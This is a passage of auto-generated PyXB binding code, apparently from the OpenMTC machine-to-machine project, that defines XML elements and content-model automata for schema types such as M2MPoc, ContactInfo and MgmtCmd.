final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(M2MPoc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
M2MPoc._Automaton = _BuildAutomaton_52()
ContactInfo._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contactURI'),
pyxb.binding.datatypes.anyURI, scope=ContactInfo,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 136,
4)))
ContactInfo._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'other'),
pyxb.binding.datatypes.anyType,
scope=ContactInfo,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
32, 4)))
def _BuildAutomaton_53():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_53
del _BuildAutomaton_53
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(ContactInfo._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contactURI')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
26, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(ContactInfo._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'other')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPoc.xsd',
27, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
transitions = []
st_0._set_transitionSet(transitions)
transitions = []
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ContactInfo._Automaton = _BuildAutomaton_53()
M2MPocs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=M2MPocs,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
M2MPocs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=M2MPocs,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
M2MPocs._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'm2mPocCollection'),
NamedReferenceCollection, scope=M2MPocs,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd', 19,
4)))
def _BuildAutomaton_54():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_54
del _BuildAutomaton_54
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd',
15, 12))
counters.add(cc_2)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(M2MPocs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(M2MPocs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(M2MPocs._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'm2mPocCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/m2mPocs.xsd',
15, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
M2MPocs._Automaton = _BuildAutomaton_54()
CTD_ANON_._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'status'),
CTD_ANON_2, scope=CTD_ANON_,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
15, 16)))
def _BuildAutomaton_55():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_55
del _BuildAutomaton_55
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
15, 16))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(
CTD_ANON_._UseForTag(pyxb.namespace.ExpandedName(None, u'status')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
15, 16))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
CTD_ANON_._Automaton = _BuildAutomaton_55()
CTD_ANON_2._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'statusCode'),
pyxb.binding.datatypes.string, scope=CTD_ANON_2,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
18, 28)))
CTD_ANON_2._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'eTag'),
pyxb.binding.datatypes.string, scope=CTD_ANON_2,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
19, 28)))
CTD_ANON_2._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'resourceURI'),
pyxb.binding.datatypes.anyURI, scope=CTD_ANON_2,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
20, 28)))
CTD_ANON_2._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=CTD_ANON_2,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
21, 28)))
CTD_ANON_2._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'resultBody'),
_ImportedBinding__xmlmime.base64Binary,
scope=CTD_ANON_2,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
23, 28)))
def _BuildAutomaton_56():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_56
del _BuildAutomaton_56
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
19, 28))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
21, 28))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
23, 28))
counters.add(cc_2)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(
CTD_ANON_2._UseForTag(pyxb.namespace.ExpandedName(None, u'statusCode')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
18, 28))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(
CTD_ANON_2._UseForTag(pyxb.namespace.ExpandedName(None, u'eTag')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
19, 28))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
symbol = pyxb.binding.content.ElementUse(CTD_ANON_2._UseForTag(
pyxb.namespace.ExpandedName(None, u'resourceURI')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
20, 28))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(CTD_ANON_2._UseForTag(
pyxb.namespace.ExpandedName(None, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
21, 28))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(
CTD_ANON_2._UseForTag(pyxb.namespace.ExpandedName(None, u'resultBody')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/membersContent.xsd',
23, 28))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
CTD_ANON_2._Automaton = _BuildAutomaton_56()
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=MgmtCmd, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'description'),
pyxb.binding.datatypes.string, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 12,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'cmdType'), CmdType, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 34,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'execEnable'),
pyxb.binding.datatypes.anyURI, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 47,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'execReqArgs'), ExecReqArgsList,
scope=MgmtCmd, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 49,
4)))
MgmtCmd._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'execInstancesReference'),
pyxb.binding.datatypes.anyURI, scope=MgmtCmd,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd', 64,
4)))
def _BuildAutomaton_57():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_57
del _BuildAutomaton_57
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
17, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
20, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
21, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
22, 12))
counters.add(cc_7)
cc_8 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
23, 12))
counters.add(cc_8)
cc_9 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
26, 12))
counters.add(cc_9)
cc_10 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
27, 12))
counters.add(cc_10)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
13, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
14, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
15, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
17, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'description')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
20, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(
MgmtCmd._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'cmdType')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
21, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'execEnable')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
22, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_8, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'execReqArgs')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
23, 12))
st_8 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_8)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_9, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'execInstancesReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
26, 12))
st_9 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_9)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_10, False))
symbol = pyxb.binding.content.ElementUse(MgmtCmd._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtCmd.xsd',
27, 12))
st_10 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_10)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_9, [
